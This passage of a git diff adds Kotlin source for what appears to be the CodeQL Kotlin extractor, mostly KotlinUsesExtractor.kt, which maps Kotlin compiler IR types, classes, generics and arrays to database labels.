+        with("generated class", localFunction) {
+            val ids = getLocallyVisibleFunctionLabels(localFunction)
+
+            val id = extractGeneratedClass(ids, superTypes, tw.getLocation(localFunction), localFunction)
+
+            // Extract local function as a member
+            extractFunction(localFunction, id, extractBody = true, extractMethodAndParameterTypeAccesses = true, null, listOf())
+
+            return id
+        }
+    }
+
+
+    private inner class DeclarationStackAdjuster(declaration: IrDeclaration): Closeable {
+        init {
+            declarationStack.push(declaration)
+        }
+        override fun close() {
+            declarationStack.pop()
+        }
+    }
+}
diff --git a/java/kotlin-extractor/src/main/kotlin/KotlinUsesExtractor.kt b/java/kotlin-extractor/src/main/kotlin/KotlinUsesExtractor.kt
new file mode 100644
index 00000000000..8e72f2e7c0a
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/KotlinUsesExtractor.kt
@@ -0,0 +1,1318 @@
+package com.github.codeql
+
+import com.github.codeql.utils.*
+import com.github.codeql.utils.versions.isRawType
+import com.semmle.extractor.java.OdasaOutput
+import org.jetbrains.kotlin.backend.common.extensions.IrPluginContext
+import org.jetbrains.kotlin.backend.common.ir.allOverridden
+import org.jetbrains.kotlin.backend.common.lower.parentsWithSelf
+import org.jetbrains.kotlin.builtins.StandardNames
+import org.jetbrains.kotlin.descriptors.*
+import org.jetbrains.kotlin.ir.declarations.*
+import org.jetbrains.kotlin.ir.expressions.*
+import org.jetbrains.kotlin.ir.symbols.*
+import org.jetbrains.kotlin.ir.types.*
+import org.jetbrains.kotlin.ir.types.impl.*
+import org.jetbrains.kotlin.ir.util.*
+import org.jetbrains.kotlin.load.java.JvmAbi
+import org.jetbrains.kotlin.name.FqName
+import org.jetbrains.kotlin.name.Name
+import org.jetbrains.kotlin.name.SpecialNames
+import org.jetbrains.kotlin.types.Variance
+import org.jetbrains.kotlin.util.OperatorNameConventions
+
+open class KotlinUsesExtractor(
+    open val logger: Logger,
+    open val tw: TrapWriter,
+    val dependencyCollector: OdasaOutput.TrapFileManager?,
+    val externalClassExtractor: ExternalDeclExtractor,
+    val primitiveTypeMapping: PrimitiveTypeMapping,
+    val pluginContext: IrPluginContext,
+    val globalExtensionState: KotlinExtractorGlobalState
+) {
+    fun usePackage(pkg: String): Label<out DbPackage> {
+        return extractPackage(pkg)
+    }
+
+    fun extractPackage(pkg: String): Label<out DbPackage> {
+        val pkgLabel = "@\"package;$pkg\""
+        val id: Label<DbPackage> = tw.getLabelFor(pkgLabel, {
+            tw.writePackages(it, pkg)
+        })
+        return id
+    }
+
+    fun useFileClassType(f: IrFile) = TypeResults(
+        TypeResult(extractFileClass(f), "", ""),
+        TypeResult(fakeKotlinType(), "", "")
+    )
+
+    private data class MethodKey(val className: FqName, val functionName: Name)
+
+    private fun makeDescription(className: FqName, functionName: String) = MethodKey(className, Name.guessByFirstCharacter(functionName))
+
+    // This essentially mirrors SpecialBridgeMethods.kt, a backend pass which isn't easily available to our extractor.
+    private val specialFunctions = mapOf(
+        makeDescription(StandardNames.FqNames.collection, "<get-size>") to "size",
+        makeDescription(FqName("java.util.Collection"), "<get-size>") to "size",
+        makeDescription(StandardNames.FqNames.map, "<get-size>") to "size",
+        makeDescription(FqName("java.util.Map"), "<get-size>") to "size",
+        makeDescription(StandardNames.FqNames.charSequence.toSafe(), "<get-length>") to "length",
+        makeDescription(FqName("java.lang.CharSequence"), "<get-length>") to "length",
+        makeDescription(StandardNames.FqNames.map, "<get-keys>") to "keySet",
+        makeDescription(FqName("java.util.Map"), "<get-keys>") to "keySet",
+        makeDescription(StandardNames.FqNames.map, "<get-values>") to "values",
+        makeDescription(FqName("java.util.Map"), "<get-values>") to "values",
+        makeDescription(StandardNames.FqNames.map, "<get-entries>") to "entrySet",
+        makeDescription(FqName("java.util.Map"), "<get-entries>") to "entrySet"
+    )
+
+    private val specialFunctionShortNames = specialFunctions.keys.map { it.functionName }.toSet()
+
+    fun getSpecialJvmName(f: IrFunction): String? {
+        if (specialFunctionShortNames.contains(f.name) && f is IrSimpleFunction) {
+            f.allOverridden(true).forEach { overriddenFunc ->
+                overriddenFunc.parentAsClass.fqNameWhenAvailable?.let { parentFqName ->
+                    specialFunctions[MethodKey(parentFqName, f.name)]?.let {
+                        return it
+                    }
+                }
+            }
+        }
+        return null
+    }
+
+    fun getJvmName(container: IrAnnotationContainer): String? {
+        for(a: IrConstructorCall in container.annotations) {
+            val t = a.type
+            if (t is IrSimpleType && a.valueArgumentsCount == 1) {
+                val owner = t.classifier.owner
+                val v = a.getValueArgument(0)
+                if (owner is IrClass) {
+                    val aPkg = owner.packageFqName?.asString()
+                    val name = owner.name.asString()
+                    if(aPkg == "kotlin.jvm" && name == "JvmName" && v is IrConst<*>) {
+                        val value = v.value
+                        if (value is String) {
+                            return value
+                        }
+                    }
+                }
+            }
+        }
+        return (container as? IrFunction)?.let { getSpecialJvmName(container) }
+    }
+
+    @OptIn(kotlin.ExperimentalStdlibApi::class) // Annotation required by kotlin versions < 1.5
+    fun extractFileClass(f: IrFile): Label<out DbClass> {
+        val fileName = f.fileEntry.name
+        val pkg = f.fqName.asString()
+        val defaultName = fileName.replaceFirst(Regex(""".*[/\\]"""), "").replaceFirst(Regex("""\.kt$"""), "").replaceFirstChar({ it.uppercase() }) + "Kt"
+        var jvmName = getJvmName(f) ?: defaultName
+        val qualClassName = if (pkg.isEmpty()) jvmName else "$pkg.$jvmName"
+        val label = "@\"class;$qualClassName\""
+        val id: Label<DbClass> = tw.getLabelFor(label, {
+            val fileId = tw.mkFileId(f.path, false)
+            val locId = tw.getWholeFileLocation(fileId)
+            val pkgId = extractPackage(pkg)
+            tw.writeClasses(it, jvmName, pkgId, it)
+            tw.writeFile_class(it)
+            tw.writeHasLocation(it, locId)
+
+            addModifiers(it, "public", "final")
+        })
+        return id
+    }
+
+    data class UseClassInstanceResult(val typeResult: TypeResult<DbClassorinterface>, val javaClass: IrClass)
+    /**
+     * A triple of a type's database label, its signature for use in callable signatures, and its short name for use
+     * in all tables that provide a user-facing type name.
+     *
+     * `signature` is a Java primitive name (e.g. "int"), a fully-qualified class name ("package.OuterClass.InnerClass"),
+     * or an array ("componentSignature[]")
+     * Type variables have the signature of their upper bound.
+     * Type arguments and anonymous types do not have a signature.
+     *
+     * `shortName` is a Java primitive name (e.g. "int"), a class short name with Java-style type arguments ("InnerClass<E>" or
+     * "OuterClass<ConcreteArgument>" or "OtherClass<? extends Bound>") or an array ("componentShortName[]").
+     */
+    data class TypeResult<out LabelType>(val id: Label<out LabelType>, val signature: String?, val shortName: String) {
+        fun <U> cast(): TypeResult<U> {
+            @Suppress("UNCHECKED_CAST")
+            return this as TypeResult<U>
+        }
+    }
+    data class TypeResults(val javaResult: TypeResult<DbType>, val kotlinResult: TypeResult<DbKt_type>)
+
+    fun useType(t: IrType, context: TypeContext = TypeContext.OTHER) =
+        when(t) {
+            is IrSimpleType -> useSimpleType(t, context)
+            else -> {
+                logger.error("Unrecognised IrType: " + t.javaClass)
+                TypeResults(TypeResult(fakeLabel(), "unknown", "unknown"), TypeResult(fakeLabel(), "unknown", "unknown"))
+            }
+        }
+
+    fun getJavaEquivalentClass(c: IrClass) =
+        getJavaEquivalentClassId(c)?.let { pluginContext.referenceClass(it.asSingleFqName()) }?.owner
+
+    /**
+     * Gets a KotlinFileExtractor based on this one, except it attributes locations to the file that declares the given class.
+     */
+    private fun withFileOfClass(cls: IrClass): KotlinFileExtractor {
+        val clsFile = cls.fileOrNull
+
+        if (this is KotlinFileExtractor && this.filePath == clsFile?.path) {
+            return this
+        }
+
+        if (clsFile == null || isExternalDeclaration(cls)) {
+            val filePath = getIrClassBinaryPath(cls)
+            val newTrapWriter = tw.makeFileTrapWriter(filePath, true)
+            val newLoggerTrapWriter = logger.tw.makeFileTrapWriter(filePath, false)
+            val newLogger = FileLogger(logger.loggerBase, newLoggerTrapWriter)
+            return KotlinFileExtractor(newLogger, newTrapWriter, filePath, dependencyCollector, externalClassExtractor, primitiveTypeMapping, pluginContext, globalExtensionState)
+        }
+
+        val newTrapWriter = tw.makeSourceFileTrapWriter(clsFile, true)
+        val newLoggerTrapWriter = logger.tw.makeSourceFileTrapWriter(clsFile, false)
+        val newLogger = FileLogger(logger.loggerBase, newLoggerTrapWriter)
+        return KotlinFileExtractor(newLogger, newTrapWriter, clsFile.path, dependencyCollector, externalClassExtractor, primitiveTypeMapping, pluginContext, globalExtensionState)
+    }
+
+    // The Kotlin compiler internal representation of Outer<T>.Inner<S>.InnerInner<R> is InnerInner<R, S, T>. This function returns just `R`.
+    fun removeOuterClassTypeArgs(c: IrClass, argsIncludingOuterClasses: List<IrTypeArgument>?): List<IrTypeArgument>? {
+        return argsIncludingOuterClasses?.let {
+            if (it.size > c.typeParameters.size)
+                it.take(c.typeParameters.size)
+            else
+                null
+        } ?: argsIncludingOuterClasses
+    }
+
+    fun isStaticClass(c: IrClass) = c.visibility != DescriptorVisibilities.LOCAL && !c.isInner
+
+    // Gets nested inner classes starting at `c` and proceeding outwards to the innermost enclosing static class.
+    // For example, for (java syntax) `class A { static class B { class C { class D { } } } }`,
+    // `nonStaticParentsWithSelf(D)` = `[D, C, B]`.
+    fun parentsWithTypeParametersInScope(c: IrClass): List<IrDeclarationParent> {
+        val parentsList = c.parentsWithSelf.toList()
+        val firstOuterClassIdx = parentsList.indexOfFirst { it is IrClass && isStaticClass(it) }
+        return if (firstOuterClassIdx == -1) parentsList else parentsList.subList(0, firstOuterClassIdx + 1)
+    }
+
+    // Gets the type parameter symbols that are in scope for class `c` in Kotlin order (i.e. for
+    // `class NotInScope<T> { static class OutermostInScope<A, B> { class QueryClass<C, D> { } } }`,
+    // `getTypeParametersInScope(QueryClass)` = `[C, D, A, B]`.
+    fun getTypeParametersInScope(c: IrClass) =
+        parentsWithTypeParametersInScope(c).mapNotNull({ getTypeParameters(it) }).flatten()
+
+    // Returns a map from `c`'s type variables in scope to type arguments `argsIncludingOuterClasses`.
+    // Hack for the time being: the substituted types are always nullable, to prevent downstream code
+    // from replacing a generic parameter by a primitive. As and when we extract Kotlin types we will
+    // need to track this information in more detail.
+    fun makeTypeGenericSubstitutionMap(c: IrClass, argsIncludingOuterClasses: List<IrTypeArgument>) =
+        getTypeParametersInScope(c).map({ it.symbol }).zip(argsIncludingOuterClasses.map { it.withQuestionMark(true) }).toMap()
+
+    fun makeGenericSubstitutionFunction(c: IrClass, argsIncludingOuterClasses: List<IrTypeArgument>) =
+        makeTypeGenericSubstitutionMap(c, argsIncludingOuterClasses).let {
+            { x: IrType, useContext: TypeContext, pluginContext: IrPluginContext ->
+                x.substituteTypeAndArguments(
+                    it,
+                    useContext,
+                    pluginContext
+                )
+            }
+        }
+
+    // The Kotlin compiler internal representation of Outer<A, B>.Inner<C, D>.InnerInner<E, F>.someFunction<G, H>.LocalClass<I, J> is LocalClass<I, J, G, H, E, F, C, D, A, B>. This function returns [A, B, C, D, E, F, G, H, I, J].
+    fun orderTypeArgsLeftToRight(c: IrClass, argsIncludingOuterClasses: List<IrTypeArgument>?): List<IrTypeArgument>? {
+        if(argsIncludingOuterClasses.isNullOrEmpty())
+            return argsIncludingOuterClasses
+        val ret = ArrayList<IrTypeArgument>()
+        // Iterate over nested inner classes starting at `c`'s surrounding top-level or static nested class and ending at `c`, from the outermost inwards:
+        val truncatedParents = parentsWithTypeParametersInScope(c)
+        for(parent in truncatedParents.reversed()) {
+            val parentTypeParameters = getTypeParameters(parent)
+            val firstArgIdx = argsIncludingOuterClasses.size - (ret.size + parentTypeParameters.size)
+            ret.addAll(argsIncludingOuterClasses.subList(firstArgIdx, firstArgIdx + parentTypeParameters.size))
+        }
+        return ret
+    }
+
+    // `typeArgs` can be null to describe a raw generic type.
+    // For non-generic types it will be zero-length list.
+    fun useClassInstance(c: IrClass, typeArgs: List<IrTypeArgument>?, inReceiverContext: Boolean = false): UseClassInstanceResult {
+        if (c.isAnonymousObject) {
+            logger.error("Unexpected access to anonymous class instance")
+        }
+
+        val substituteClass = getJavaEquivalentClass(c)
+
+        val extractClass = substituteClass ?: c
+
+        // `KFunction1<T1,T2>` is substituted by `KFunction<T>`. The last type argument is the return type.
+        // Similarly Function23 and above get replaced by kotlin.jvm.functions.FunctionN with only one type arg, the result type.
+        // References to SomeGeneric<T1, T2, ...> where SomeGeneric is declared SomeGeneric<T1, T2, ...> are extracted
+        // as if they were references to the unbound type SomeGeneric.
+        val extractedTypeArgs = when {
+            extractClass.symbol.isKFunction() && typeArgs != null && typeArgs.isNotEmpty() -> listOf(typeArgs.last())
+            extractClass.fqNameWhenAvailable == FqName("kotlin.jvm.functions.FunctionN") && typeArgs != null && typeArgs.isNotEmpty() -> listOf(typeArgs.last())
+            typeArgs != null && isUnspecialised(c, typeArgs) -> listOf()
+            else -> typeArgs
+        }
+
+        val classTypeResult = addClassLabel(extractClass, extractedTypeArgs, inReceiverContext)
+
+        // Extract both the Kotlin and equivalent Java classes, so that we have database entries
+        // for both even if all internal references to the Kotlin type are substituted.
+        if(c != extractClass) {
+            extractClassLaterIfExternal(c)
+        }
+
+        return UseClassInstanceResult(classTypeResult, extractClass)
+    }
+
+    fun isArray(t: IrSimpleType) = t.isBoxedArray || t.isPrimitiveArray()
+
+    fun extractClassLaterIfExternal(c: IrClass) {
+        if (isExternalDeclaration(c)) {
+            extractExternalClassLater(c)
+        }
+    }
+
+    fun extractExternalEnclosingClassLater(d: IrDeclaration) {
+        when (val parent = d.parent) {
+            is IrClass -> extractExternalClassLater(parent)
+            is IrFunction -> extractExternalEnclosingClassLater(parent)
+            is IrFile -> logger.error("extractExternalEnclosingClassLater but no enclosing class.")
+            else -> logger.error("Unrecognised extractExternalEnclosingClassLater: " + d.javaClass)
+        }
+    }
+
+    fun extractPropertyLaterIfExternalFileMember(p: IrProperty) {
+        if (isExternalFileClassMember(p)) {
+            extractExternalClassLater(p.parentAsClass)
+            dependencyCollector?.addDependency(p, externalClassExtractor.propertySignature)
+            externalClassExtractor.extractLater(p)
+        }
+    }
+
+    fun extractFieldLaterIfExternalFileMember(f: IrField) {
+        if (isExternalFileClassMember(f)) {
+            extractExternalClassLater(f.parentAsClass)
+            dependencyCollector?.addDependency(f, externalClassExtractor.fieldSignature)
+            externalClassExtractor.extractLater(f)
+        }
+    }
+
+    fun extractFunctionLaterIfExternalFileMember(f: IrFunction) {
+        if (isExternalFileClassMember(f)) {
+            extractExternalClassLater(f.parentAsClass)
+            (f as? IrSimpleFunction)?.correspondingPropertySymbol?.let {
+                extractPropertyLaterIfExternalFileMember(it.owner)
+                // No need to extract the function specifically, as the property's
+                // getters and setters are extracted alongside it
+                return
+            }
+            // Note we erase the parameter types before calling useType even though the signature should be the same
+            // in order to prevent an infinite loop through useTypeParameter -> useDeclarationParent -> useFunction
+            // -> extractFunctionLaterIfExternalFileMember, which would result for `fun <T> f(t: T) { ... }` for example.
+            val ext = f.extensionReceiverParameter
+            val parameters = if (ext != null) {
+                listOf(ext) + f.valueParameters
+            } else {
+                f.valueParameters
+            }
+
+            val paramTypes = parameters.map { useType(erase(it.type)) }
+            val signature = paramTypes.joinToString(separator = ",", prefix = "(", postfix = ")") { it.javaResult.signature!! }
+            dependencyCollector?.addDependency(f, signature)
+            externalClassExtractor.extractLater(f, signature)
+        }
+    }
+
+    fun extractExternalClassLater(c: IrClass) {
+        dependencyCollector?.addDependency(c)
+        externalClassExtractor.extractLater(c)
+    }
+
+    fun tryReplaceAndroidSyntheticClass(c: IrClass): IrClass {
+        // The Android Kotlin Extensions Gradle plugin introduces synthetic functions, fields and classes. The most
+        // obvious signature is that they lack any supertype information even though they are not root classes.
+        // If possible, replace them by a real version of the same class.
+        if (c.superTypes.isNotEmpty() ||
+            c.origin != IrDeclarationOrigin.IR_EXTERNAL_JAVA_DECLARATION_STUB ||
+            c.hasEqualFqName(FqName("java.lang.Object")))
+            return c
+        return globalExtensionState.syntheticToRealClassMap.getOrPut(c) {
+            val result = c.fqNameWhenAvailable?.let {
+                pluginContext.referenceClass(it)?.owner
+            }
+            if (result == null) {
+                logger.warn("Failed to replace synthetic class ${c.name}")
+            } else {
+                logger.info("Replaced synthetic class ${c.name} with its real equivalent")
+            }
+            result
+        } ?: c
+    }
+
+    fun tryReplaceAndroidSyntheticFunction(f: IrSimpleFunction): IrSimpleFunction {
+        val parentClass = f.parent as? IrClass ?: return f
+        val replacementClass = tryReplaceAndroidSyntheticClass(parentClass)
+        if (replacementClass === parentClass)
+            return f
+        return globalExtensionState.syntheticToRealFunctionMap.getOrPut(f) {
+            val result = replacementClass.declarations.find { replacementDecl ->
+                replacementDecl is IrSimpleFunction && replacementDecl.name == f.name && replacementDecl.valueParameters.zip(f.valueParameters).all {
+                    it.first.type == it.second.type
+                }
+            } as IrSimpleFunction?
+            if (result == null) {
+                logger.warn("Failed to replace synthetic class function ${f.name}")
+            } else {
+                logger.info("Replaced synthetic class function ${f.name} with its real equivalent")
+            }
+            result
+        } ?: f
+    }
+
+    fun tryReplaceAndroidSyntheticField(f: IrField): IrField {
+        val parentClass = f.parent as? IrClass ?: return f
+        val replacementClass = tryReplaceAndroidSyntheticClass(parentClass)
+        if (replacementClass === parentClass)
+            return f
+        return globalExtensionState.syntheticToRealFieldMap.getOrPut(f) {
+            val result = replacementClass.declarations.find { replacementDecl ->
+                replacementDecl is IrField && replacementDecl.name == f.name
+            } as IrField?
+            if (result == null) {
+                logger.warn("Failed to replace synthetic class field ${f.name}")
+            } else {
+                logger.info("Replaced synthetic class field ${f.name} with its real equivalent")
+            }
+            result
+        } ?: f
+    }
+
+    // `typeArgs` can be null to describe a raw generic type.
+    // For non-generic types it will be zero-length list.
+    fun addClassLabel(cBeforeReplacement: IrClass, argsIncludingOuterClasses: List<IrTypeArgument>?, inReceiverContext: Boolean = false): TypeResult<DbClassorinterface> {
+        val c = tryReplaceAndroidSyntheticClass(cBeforeReplacement)
+        val classLabelResult = getClassLabel(c, argsIncludingOuterClasses)
+
+        var instanceSeenBefore = true
+
+        val classLabel : Label<out DbClassorinterface> = tw.getLabelFor(classLabelResult.classLabel, {
+            instanceSeenBefore = false
+
+            extractClassLaterIfExternal(c)
+        })
+
+        if (argsIncludingOuterClasses == null || argsIncludingOuterClasses.isNotEmpty()) {
+            // If this is a generic type instantiation or a raw type then it has no
+            // source entity, so we need to extract it here
+            val extractorWithCSource by lazy { this.withFileOfClass(c) }
+
+            if (!instanceSeenBefore) {
+                extractorWithCSource.extractClassInstance(c, argsIncludingOuterClasses)
+            }
+
+            if (inReceiverContext && tw.lm.genericSpecialisationsExtracted.add(classLabelResult.classLabel)) {
+                val supertypeMode = if (argsIncludingOuterClasses == null) ExtractSupertypesMode.Raw else ExtractSupertypesMode.Specialised(argsIncludingOuterClasses)
+                extractorWithCSource.extractClassSupertypes(c, classLabel, supertypeMode, true)
+                extractorWithCSource.extractNonPrivateMemberPrototypes(c, argsIncludingOuterClasses, classLabel)
+            }
+        }
+
+        return TypeResult(
+            classLabel,
+            c.fqNameWhenAvailable?.asString(),
+            classLabelResult.shortName)
+    }
+
+    fun useAnonymousClass(c: IrClass) =
+        tw.lm.anonymousTypeMapping.getOrPut(c) {
+            TypeResults(
+                TypeResult(tw.getFreshIdLabel<DbClass>(), "", ""),
+                TypeResult(fakeKotlinType(), "TODO", "TODO")
+            )
+        }
+
+    fun fakeKotlinType(): Label<out DbKt_type> {
+        val fakeKotlinPackageId: Label<DbPackage> = tw.getLabelFor("@\"FakeKotlinPackage\"", {
+            tw.writePackages(it, "fake.kotlin")
+        })
+        val fakeKotlinClassId: Label<DbClass> = tw.getLabelFor("@\"FakeKotlinClass\"", {
+            tw.writeClasses(it, "FakeKotlinClass", fakeKotlinPackageId, it)
+        })
+        val fakeKotlinTypeId: Label<DbKt_nullable_type> = tw.getLabelFor("@\"FakeKotlinType\"", {
+            tw.writeKt_nullable_types(it, fakeKotlinClassId)
+        })
+        return fakeKotlinTypeId
+    }
+
+    // `args` can be null to describe a raw generic type.
+    // For non-generic types it will be zero-length list.
+    fun useSimpleTypeClass(c: IrClass, args: List<IrTypeArgument>?, hasQuestionMark: Boolean): TypeResults {
+        if (c.isAnonymousObject) {
+            args?.let {
+                if (it.isNotEmpty() && !isUnspecialised(c, it)) {
+                    logger.error("Unexpected specialised instance of generic anonymous class")
+                }
+            }
+
+            return useAnonymousClass(c)
+        }
+
+        val classInstanceResult = useClassInstance(c, args)
+        val javaClassId = classInstanceResult.typeResult.id
+        val kotlinQualClassName = getUnquotedClassLabel(c, args).classLabel
+        val javaResult = classInstanceResult.typeResult
+        val kotlinResult = if (true) TypeResult(fakeKotlinType(), "TODO", "TODO") else
+            if (hasQuestionMark) {
+                val kotlinSignature = "$kotlinQualClassName?" // TODO: Is this right?
+                val kotlinLabel = "@\"kt_type;nullable;$kotlinQualClassName\""
+                val kotlinId: Label<DbKt_nullable_type> = tw.getLabelFor(kotlinLabel, {
+                    tw.writeKt_nullable_types(it, javaClassId)
+                })
+                TypeResult(kotlinId, kotlinSignature, "TODO")
+            } else {
+                val kotlinSignature = kotlinQualClassName // TODO: Is this right?
+                val kotlinLabel = "@\"kt_type;notnull;$kotlinQualClassName\""
+                val kotlinId: Label<DbKt_notnull_type> = tw.getLabelFor(kotlinLabel, {
+                    tw.writeKt_notnull_types(it, javaClassId)
+                })
+                TypeResult(kotlinId, kotlinSignature, "TODO")
+            }
+        return TypeResults(javaResult, kotlinResult)
+    }
+
+    // Given either a primitive array or a boxed array, returns primitive arrays unchanged,
+    // but returns boxed arrays with a nullable, invariant component type, with any nested arrays
+    // similarly transformed. For example, Array<out Array<in E>> would become Array<Array<E?>?>
+    // Array<*> will become Array<Any?>.
+    fun getInvariantNullableArrayType(arrayType: IrSimpleType): IrSimpleType =
+        if (arrayType.isPrimitiveArray())
+            arrayType
+        else {
+            val componentType = arrayType.getArrayElementType(pluginContext.irBuiltIns)
+            val componentTypeBroadened = when (componentType) {
+                is IrSimpleType ->
+                    if (isArray(componentType)) getInvariantNullableArrayType(componentType) else componentType
+                else -> componentType
+            }
+            val unchanged =
+                componentType == componentTypeBroadened &&
+                        (arrayType.arguments[0] as? IrTypeProjection)?.variance == Variance.INVARIANT &&
+                        componentType.isNullable()
+            if (unchanged)
+                arrayType
+            else
+                IrSimpleTypeImpl(
+                    arrayType.classifier,
+                    true,
+                    listOf(makeTypeProjection(componentTypeBroadened, Variance.INVARIANT)),
+                    listOf()
+                )
+        }
+
+    fun useArrayType(arrayType: IrSimpleType, componentType: IrType, elementType: IrType, dimensions: Int, isPrimitiveArray: Boolean): TypeResults {
+
+        // Ensure we extract Array<Int> as Integer[], not int[], for example:
+        fun nullableIfNotPrimitive(type: IrType) = if (type.isPrimitiveType() && !isPrimitiveArray) type.makeNullable() else type
+
+        val componentTypeResults = useType(nullableIfNotPrimitive(componentType))
+        val elementTypeLabel = useType(nullableIfNotPrimitive(elementType)).javaResult.id
+
+        val javaShortName = componentTypeResults.javaResult.shortName + "[]"
+
+        val id = tw.getLabelFor<DbArray>("@\"array;$dimensions;{${elementTypeLabel}}\"") {
+            tw.writeArrays(
+                it,
+                javaShortName,
+                elementTypeLabel,
+                dimensions,
+                componentTypeResults.javaResult.id)
+
+            extractClassSupertypes(arrayType.classifier.owner as IrClass, it, ExtractSupertypesMode.Specialised(arrayType.arguments))
+
+            // array.length
+            val length = tw.getLabelFor<DbField>("@\"field;{$it};length\"")
+            val intTypeIds = useType(pluginContext.irBuiltIns.intType)
+            tw.writeFields(length, "length", intTypeIds.javaResult.id, it, length)
+            tw.writeFieldsKotlinType(length, intTypeIds.kotlinResult.id)
+            addModifiers(length, "public", "final")
+
+            // Note we will only emit one `clone()` method per Java array type, so we choose `Array<C?>` as its Kotlin
+            // return type, where C is the component type with any nested arrays themselves invariant and nullable.
+            val kotlinCloneReturnType = getInvariantNullableArrayType(arrayType).makeNullable()
+            val kotlinCloneReturnTypeLabel = useType(kotlinCloneReturnType).kotlinResult.id
+
+            val clone = tw.getLabelFor<DbMethod>("@\"callable;{$it}.clone(){$it}\"")
+            tw.writeMethods(clone, "clone", "clone()", it, it, clone)
+            tw.writeMethodsKotlinType(clone, kotlinCloneReturnTypeLabel)
+            addModifiers(clone, "public")
+        }
+
+        val javaResult = TypeResult(
+            id,
+            componentTypeResults.javaResult.signature + "[]",
+            javaShortName)
+
+        val arrayClassResult = useSimpleTypeClass(arrayType.classifier.owner as IrClass, arrayType.arguments, arrayType.hasQuestionMark)
+        return TypeResults(javaResult, arrayClassResult.kotlinResult)
+    }
+
+    enum class TypeContext {
+        RETURN, GENERIC_ARGUMENT, OTHER
+    }
+
+    fun useSimpleType(s: IrSimpleType, context: TypeContext): TypeResults {
+        if (s.abbreviation != null) {
+            // TODO: Extract this information
+        }
+        // We use this when we don't actually have an IrClass for a class
+        // we want to refer to
+        // TODO: Eliminate the need for this if possible
+        fun makeClass(pkgName: String, className: String): Label<DbClass> {
+            val pkgId = extractPackage(pkgName)
+            val label = "@\"class;$pkgName.$className\""
+            val classId: Label<DbClass> = tw.getLabelFor(label, {
+                tw.writeClasses(it, className, pkgId, it)
+            })
+            return classId
+        }
+        fun primitiveType(kotlinClass: IrClass, primitiveName: String?,
+                          otherIsPrimitive: Boolean,
+                          javaClass: IrClass,
+                          kotlinPackageName: String, kotlinClassName: String): TypeResults {
+            val javaResult = if ((context == TypeContext.RETURN || (context == TypeContext.OTHER && otherIsPrimitive)) && !s.hasQuestionMark && primitiveName != null) {
+                    val label: Label<DbPrimitive> = tw.getLabelFor("@\"type;$primitiveName\"", {
+                        tw.writePrimitives(it, primitiveName)
+                    })
+                    TypeResult(label, primitiveName, primitiveName)
+                } else {
+                    addClassLabel(javaClass, listOf())
+                }
+            val kotlinClassId = useClassInstance(kotlinClass, listOf()).typeResult.id
+            val kotlinResult = if (true) TypeResult(fakeKotlinType(), "TODO", "TODO") else
+                if (s.hasQuestionMark) {
+                    val kotlinSignature = "$kotlinPackageName.$kotlinClassName?" // TODO: Is this right?
+                    val kotlinLabel = "@\"kt_type;nullable;$kotlinPackageName.$kotlinClassName\""
+                    val kotlinId: Label<DbKt_nullable_type> = tw.getLabelFor(kotlinLabel, {
+                        tw.writeKt_nullable_types(it, kotlinClassId)
+                    })
+                    TypeResult(kotlinId, kotlinSignature, "TODO")
+                } else {
+                    val kotlinSignature = "$kotlinPackageName.$kotlinClassName" // TODO: Is this right?
+                    val kotlinLabel = "@\"kt_type;notnull;$kotlinPackageName.$kotlinClassName\""
+                    val kotlinId: Label<DbKt_notnull_type> = tw.getLabelFor(kotlinLabel, {
+                        tw.writeKt_notnull_types(it, kotlinClassId)
+                    })
+                    TypeResult(kotlinId, kotlinSignature, "TODO")
+                }
+            return TypeResults(javaResult, kotlinResult)
+        }
+
+        val primitiveInfo = primitiveTypeMapping.getPrimitiveInfo(s)
+
+        when {
+            primitiveInfo != null -> return primitiveType(
+                s.classifier.owner as IrClass,
+                primitiveInfo.primitiveName, primitiveInfo.otherIsPrimitive,
+                primitiveInfo.javaClass,
+                primitiveInfo.kotlinPackageName, primitiveInfo.kotlinClassName
+            )
+
+            (s.isBoxedArray && s.arguments.isNotEmpty()) || s.isPrimitiveArray() -> {
+                var dimensions = 1
+                var isPrimitiveArray = s.isPrimitiveArray()
+                val componentType = s.getArrayElementType(pluginContext.irBuiltIns)
+                var elementType = componentType
+                while (elementType.isBoxedArray || elementType.isPrimitiveArray()) {
+                    dimensions++
+                    if(elementType.isPrimitiveArray())
+                        isPrimitiveArray = true
+                    elementType = elementType.getArrayElementType(pluginContext.irBuiltIns)
+                }
+
+                return useArrayType(
+                    s,
+                    componentType,
+                    elementType,
+                    dimensions,
+                    isPrimitiveArray
+                )
+            }
+
+            s.classifier.owner is IrClass -> {
+                val classifier: IrClassifierSymbol = s.classifier
+                val cls: IrClass = classifier.owner as IrClass
+                val args = if (s.isRawType()) null else s.arguments
+
+                return useSimpleTypeClass(cls, args, s.hasQuestionMark)
+            }
+            s.classifier.owner is IrTypeParameter -> {
+                val javaResult = useTypeParameter(s.classifier.owner as IrTypeParameter)
+                val aClassId = makeClass("kotlin", "TypeParam") // TODO: Wrong
+                val kotlinResult = if (true) TypeResult(fakeKotlinType(), "TODO", "TODO") else
+                    if (s.hasQuestionMark) {
+                        val kotlinSignature = "${javaResult.signature}?" // TODO: Wrong
+                        val kotlinLabel = "@\"kt_type;nullable;type_param\"" // TODO: Wrong
+                        val kotlinId: Label<DbKt_nullable_type> = tw.getLabelFor(kotlinLabel, {
+                            tw.writeKt_nullable_types(it, aClassId)
+                        })
+                        TypeResult(kotlinId, kotlinSignature, "TODO")
+                    } else {
+                        val kotlinSignature = javaResult.signature // TODO: Wrong
+                        val kotlinLabel = "@\"kt_type;notnull;type_param\"" // TODO: Wrong
+                        val kotlinId: Label<DbKt_notnull_type> = tw.getLabelFor(kotlinLabel, {
+                            tw.writeKt_notnull_types(it, aClassId)
+                        })
+                        TypeResult(kotlinId, kotlinSignature, "TODO")
+                    }
+                return TypeResults(javaResult, kotlinResult)
+            }
+            else -> {
+                logger.error("Unrecognised IrSimpleType: " + s.javaClass + ": " + s.render())
+                return TypeResults(TypeResult(fakeLabel(), "unknown", "unknown"), TypeResult(fakeLabel(), "unknown", "unknown"))
+            }
+        }
+    }
+
+    fun useDeclarationParent(
+        // The declaration parent according to Kotlin
+        dp: IrDeclarationParent,
+        // Whether the type of entity whose parent this is can be a
+        // top-level entity in the JVM's eyes. If so, then its parent may
+        // be a file; otherwise, if dp is a file foo.kt, then the parent
+        // is really the JVM class FooKt.
+        canBeTopLevel: Boolean,
+        classTypeArguments: List<IrTypeArgument>? = null,
+        inReceiverContext: Boolean = false):
+        Label<out DbElement>? =
+        when(dp) {
+            is IrFile ->
+                if(canBeTopLevel) {
+                    usePackage(dp.fqName.asString())
